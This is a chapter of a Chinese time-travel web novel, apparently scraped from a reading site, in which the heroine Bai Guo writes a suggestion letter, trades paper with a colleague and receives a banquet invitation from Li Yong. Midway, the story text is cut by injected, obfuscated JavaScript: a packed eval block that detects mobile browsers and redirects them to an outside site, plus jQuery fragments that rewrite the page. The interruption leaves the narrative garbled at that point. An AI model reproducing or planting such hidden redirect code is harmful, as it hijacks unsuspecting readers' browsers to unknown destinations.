默认冷灰
24号文字
方正启体

17. 第 17 章

作者:爱因斯酊本书字数:K更新时间:
    知错能改,善莫大焉。


    白果充分汲取上次[过敏事件]的教训,在办公房、学生宿舍以及讲堂中各放置了一个紧急医疗箱,以备不时之需。


    当然不是用的自己工资,她那点儿微薄的俸禄经不得任何风吹雨打,因此便把主意打到了另一个近乎被所有人忽略的地方——意见箱。


    国子监内部同样设有意见箱,可以写信提出建设性提议,至于采不采纳就全凭运气了,毕竟知道它存在的人都少之又少。


    这消息还是从对面萧诚口中得知的,他每天都乐此不疲地写投诉信,因为官府提供的毛笔和宣纸实在太烂,让他都提不起兴致上值。


    分明就是自己摸鱼,还想找借口。


    不过这倒是给了白果一些思路,她虽不怎么会策论,但议论文还是经过应试教育熏陶过的,从个人国家社会层面逐级递升即可。


    文笔比不上古代人,思想总归可以稍微进步一点儿吧!


    而且,她有办法让领导注意到意见箱的存在,只需要一点儿小小的手段足以。


    【系统:触发隐藏任务——请学员以“校园安全隐患”为题书写一封提议(科目一作文练习题)】


    怀揣着建设民主大唐的伟大想法,白果开始着手书写自己的第一封建议信。身旁摆放的空白教案和听课记录本如同空气般,被她完全忽略了。


    她用钢笔在本上打了个草稿,下意识编出一句对仗当题目:


    《以保障制度之衣,暖万千学子之心》


    白果盯着题目思考许久,她好像还没准备考公呢,原来自己竟是隐藏的申论天才吗?


    心中顿时升起无数自信,一鼓作气,仅花费半个时辰就完成了一篇一千字议论文。其中引用多位名人名言事迹,虽然大部分是自己编的,但只要说是家族古籍的话就没人会继续过问了。


    这时才明白什么叫做下笔如有神。


    她吹干墨汁,将建议信递给好不容易正处理公务正事的萧诚,希望他能给出些修改意见。


    萧诚握着丝滑若绸缎的现代工业A4纸,看着上面用自己闻所未闻事迹堆砌的文章,一目十行后,迎着白果期待的眼神,他伸出手:“把笔送我,纸也给我...古籍也要。”


    怎么还连吃带拿的。


    白果犹豫两秒,也伸出手:“把你造的斑石纹纸送我,再把我这篇文章亲手抄录一遍,最好稍加润色...最后教会我书法入门。”


    “如何?”


    “成交。”


    萧诚人确如其名,非常诚实,只要答应的事情无论如何都会做到,至于后来被白果的丑字气到心梗那事暂且不提,他也算是第一个享受到办公房急救箱福利的官员。


    最起码现在,两人都觉得自己赚到了。


    且说萧诚接下白果的约定,白果也不拖延,立刻送了他厚厚一沓A4纸张,皎洁若月,丝滑如稠,是当下任何工艺都无法比拟的存在。


    萧诚除了书法的爱好外还有一项:便是用野麻造斑石文纸,虽有五色光洁之感,但到底是差了一节。


    这白女郎看似两袖空空,一贫如洗,实际却有诸多秘密,他对此不感兴趣,左右与自己无关。


    在官场最忌讳打探别人隐私。


    最主要的还是从对方手里多套几张纸出来,他想研制出造纸的方法。


    得了好东西,萧诚便想起另一位当时有名的书法家好友——李邕。


    说起这李邕,现在可是长安官场里众星捧月般的存在,时人赞其是汉时贾谊、战国时的信陵君。只可惜名声太过并非好事,招来权贵的忌恨后屡遭贬斥,现在不知被贬成什么芝麻小官在边缘徘徊了。


    好在他性格豪放,对此也不甚在意,为人更是喜好奢侈豪华,一有闲暇便骑马狩猎,还不忘办上酒宴佳肴,邀才子共同享乐。


    这不,今日便有盛宴在平康坊内举办。


    萧诚自是收到邀请,他得了宝贝纸张,便更想着早些让李邕好好欣赏一番。


    于是这破班是一刻也上不下去了,收拾完凌乱书桌便拿东西离了办公房。


    他倒也是个奇怪的人,看似乱糟糟,但总会在最后把所有物品摆放整齐,强迫症结束后才会迈着大步下值。


    留下还打哈切逗鸟的白果,她瞧着急匆匆的萧学正,本想提醒他身后尴尬位置沾上一大团浓墨,不过话又说回来,万一这就是书法家的特色穿搭呢?还是不要多管闲事为好。


    “吃饭!吃饭!吃饭!”


    金刚鹦鹉又开始叫唤起来,张开翅膀疯狂叫嚣着自己的存在感。


    白果挖出一大勺干噎酸奶堵住它的嘴,吃吧吃吧,她决定把这家伙送去李泌家寄养几天,反正李泌馋这鸟已经很久了,每天都乐此不疲地从鹦鹉口中挖出仙人下落。


    把鸟事处理完后,直接趴倒在桌上,掰着手指算时间。全年除去法定节假日外,国子监实行上十休一制,而她还需再熬两日才可放旬假,这种工作究竟有谁在认真努力啊?!


    来长安这么久,她每天天还没亮就睁眼上班,中午趴桌子打瞌睡午休,到了下午六点左右蹭车回出租屋,如此循环往复,仅是为了2000文的俸禄。


    怪不得,怪不得都说自古以来普通人的生活其实没什么差别,全是为了生活拼命当牛马,也只有贵族可以享受到最顶尖的时代红利。


    这世上多她一个有钱人又会怎样。


    白果趴在窗沿边发呆,时不时皱眉点头,装作深思的模样认真摸鱼。不过也没什么人在意她的小动作,只听得步履匆匆,无人停歇。


    真是勤奋上班的古代人。


    忽的,一道影子遮住头顶的旺盛强光,抬眸看去,首先注意到的是腰间佩戴的玉佩,质地温润,看起来就很值钱的样子。


    接着便是一缕梅酒清香袭来,她嗅了嗅鼻子,瞬间明了来人是许久未见的张司业,张九龄。


    据陆象先的小道消息,张司业是岭南人,那边的梅子酒十分出名,他家中偷偷珍藏着许多自己酿造的梅子酒。一到夜深人静想家时,便会喝几杯梅酒以缓解思乡之情。


    久而久之,张司业身上便有股怎么也散不掉的梅酒香气,若是说得高雅些,可以称之为乡愁。


    当然,从陆象先口中说出的话要注意辨别真假。真不真不确定,但足够夺人眼球,非常适合当营销号。


    白果收回刚刚的咸鱼状态,麻溜从地上爬起,向对方作缉行礼后问道:“不知张司业有何要事?”


    自从上次蹭车时偶然碰见,两人便再没单独说过话,她也不知张司业这大忙人来找自己干什么。


    张九龄从袖中抽出一张请帖递出,他受人之托,来送邀请函。


    狐疑地接过请帖,上面写着二字:李邕。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735577|174085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    略有耳闻,但不熟。


    她思索两秒,问出最为关键的问题:“空手去会被赶出来吗?”


    纵是见多识广的张九龄也不免失笑,他轻轻摇头,腰间玉佩随着动作微微晃动,叮铃作响,缓缓问道:“若我说会,女郎尚愿往乎?”


    “......能不去吗。”她弱弱抗议一句。


    张九龄道:“自然,全凭女郎意愿。”


    他不怎会劝人,直言进谏才是他的作风。对于李邕举办的酒宴也不甚感兴趣,那人的奢靡作风他并不喜欢。两人交集不多,只是政事上有些来往。


    今日这封请帖还是李邕以题字为酬,托他交给白女郎。


    至于大红人李邕为何会注意到白果这一无名小卒,还要得益于她在曲水流觞团建活动那日所做的声律诗,能得到张相公夸赞的人,那必不是等闲之辈。


    更别提圈内人都知道的秘密,这白女郎可是由圣人亲自授予的官职。


    在白果不知情的情况下,她也已经小有名气了。


    此时的“小红人”白果正皱眉思索。


    如果这个培训可以文抄公,那她高低要在酒宴上露一手。只可惜上次的小巧思已经被AI警告,如果再抄估计就要被扣分了。


    总不能就光去干饭吧。


    见白果还在犹豫,张九龄没再说什么便先行告退。请帖他已带到,至于对方同不同意就与他无关了。


    和张司业道别,白果坐在地上盘算着该带什么东西去参加酒宴。毕竟这李邕可是亲自托人向她递了请帖,如果不去岂不扫人脸面。


    她就知道,在官场上少不了人情世故。


    不过——扭头看向被/干噎酸奶硬控许久不说话的鹦鹉,白果心中浮现出一个大胆阴暗的想法。


    她不会作诗,那所有人就都别想作诗了。


    拍去身上浮灰,将请帖平展放于桌案,微微泛黄的硬黄纸上是几行笔力舒展遒劲的行书,懂书法的人自然看得出书写者笔力之深厚,外行人也能看个热闹,只觉得赏心悦目极了。


    屋外夕阳斜映,她迎着光走出屋门,消失不见,只得窥见朦胧背影。


    影子逐渐拉长,从窗棂缝隙中延伸。有人将案几上的请帖合拢收进衣袖之中,杯中浊酒入喉,又感几分苦涩。


    犹豫片刻,他还是带上了书写许久的干谒,明明只是轻飘飘一张纸,却有千钧重。


    眉头紧聚苦闷不散,意识到时辰不早后急匆匆出了门,目之所急是大片平坦原野。从少陵原到平康坊的路长着呢,若是再晚一些,光靠他这双脚可赶不上了。


    戴上斗笠,加快脚步上路。


    他低头用脚步丈量着长安的厚度,却怎么也想不到长安会是如此单薄,薄到连一个他也装不下,被拒之门外。


    马车从身边经过,在朱雀大街上碾过长长一条车辙。


    车帘悄然翻开一角,瞥见略显狼狈的行人,骨子里觉得有几分眼熟,却又笃信从未见过此人。


    许是错觉?


    马车停在了平康坊门口,两人擦肩而过,并未意识到这第一次见面的奇妙之处。


    拿出请帖,登上由李邕主持的酒宴。


    听得歌舞升平,酒香四溢,目之所及是一片耀眼华灯。只在这时,长安城真正的面纱才被掀开。


    它难以用脚步丈量,而是权与利的角逐。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)